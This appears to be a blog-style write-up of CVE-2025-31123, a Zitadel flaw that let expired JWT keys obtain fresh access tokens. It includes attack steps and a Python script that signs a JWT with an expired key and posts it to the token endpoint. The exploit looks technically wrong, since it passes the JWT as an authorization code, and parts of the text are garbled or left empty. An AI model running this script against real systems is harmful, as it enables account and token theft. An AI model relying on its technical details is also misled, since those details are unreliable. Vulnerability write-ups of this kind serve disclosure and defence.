CVE-2025-31123 - How Zitadel’s Expired JWT Keys Allowed Token Theft (With Exploit Guide)

Zitadel, the open-source identity infrastructure, has recently patched a critical flaw: CVE-2025-31123. This bug meant attackers could use *expired* JWT keys to claim fresh access tokens — a nightmare for any authentication system. Here’s a plain-English breakdown of what went wrong, how it works under the hood, and what you should do next.

What Is Zitadel?

Zitadel is a powerful, open-source identity and access management platform, similar to Auth or Keycloak, but designed to be developer-friendly and cloud-native. It controls who can log in, uses JWTs (JSON Web Tokens) for authorization, and follows OAuth 2. standards.

The Bug: Expired Keys Still Work

Summary: Zitadel failed to check if a JWT key was expired *when used for Authorization Grants*. This meant that if you got hold of an expired key, Zitadel would *still* hand over valid tokens. Yikes.

What’s safe: The JWT Profile for OAuth 2. Client Authentication on Token and Introspection endpoints *does* check expiry correctly — the bug only impacts Authorization Grants.

Why Does This Matter?

Expired keys should *never* be usable. If an attacker gets an old (expired) private key, they shouldn’t be able to ask Zitadel for new tokens. In this attack, they *could*—defeating the whole point of key rotation or expiration.

Who’s affected?

- Zitadel pre-2.71.6 (fixed in 2.71.6, 2.70.8, 2.69.9, 2.68.9, 2.67.13, 2.66.16, 2.65.7, 2.64.6, and 2.63.9)

A Simple Diagram

sequenceDiagram
    actor Attacker
    participant Zitadel

    Attacker->>Zitadel: Sends expired JWT-signed Authorization Grant
    Zitadel->>Attacker: (Pre-fix) Issues fresh valid token 😱
    Note over Zitadel: Key expiration not checked here

Vulnerable Code Snippet

*The issue was improper key validation. Here’s a simplified example of the mistake:*

// Old/buggy pseudocode
func ValidateAuthGrant(jwtToken string, key Key) bool {
    // Decodes and verifies JWT ...
    if verifyJWTSignature(jwtToken, key) {
        // THIS SHOULD CHECK IF KEY IS EXPIRED!
        return true
    }
    return false
}

// Attacker uses an expired key: still returns "true"

*It should look like this:*

// Fixed pseudocode
func ValidateAuthGrant(jwtToken string, key Key) bool {
    if key.expired() {
        return false  // Correctly rejects expired keys
    }
    if verifyJWTSignature(jwtToken, key) {
        return true
    }
    return false
}

Attack steps

1. Sign a JWT using the *expired* key, following Zitadel’s expected format for an Authorization Code Grant.
2. POST this token to Zitadel’s /oauth/v2/token endpoint.

Example (using Python and PyJWT)

import jwt
import requests
from datetime import datetime, timedelta

EXPIRED_PRIVATE_KEY = open('expired_key.pem').read()
CLIENT_ID = "my-app"
ZITADEL_TOKEN_URL = "https://zitadel.example.com/oauth/v2/token";

jwt_payload = {
    "sub": CLIENT_ID,
    "iss": "my-app",
    # any required claims
    "exp": int((datetime.utcnow() + timedelta(minutes=5)).timestamp())
}

assert datetime.utcnow() > datetime(2024, 6, 1)  # make sure key has expired

token = jwt.encode(jwt_payload, EXPIRED_PRIVATE_KEY, algorithm='RS256')

resp = requests.post(ZITADEL_TOKEN_URL, data={
    "grant_type": "authorization_code",
    "code": token,
    # other required fields
})

print(resp.text)  # Should be a valid access token (!)

Where the Fix Landed

According to the Zitadel Security Advisory and Official Changelog, the following versions patched CVE-2025-31123:

Final Thoughts

This bug highlights how even trusted, open-source tools can stumble on the basics: always check that cryptographic keys are still trusted and valid. One small mistake can open the door to massive security risks.

Original References

- ZITADEL Security Advisory
- ZITADEL 2.71.6 Changelog
- Official CVE Record (CVE-2025-31123) *(pending, please check for updates)*

Timeline

Published on: 03/31/2025 20:15:15 UTC
Last modified on: 04/01/2025 20:26:22 UTC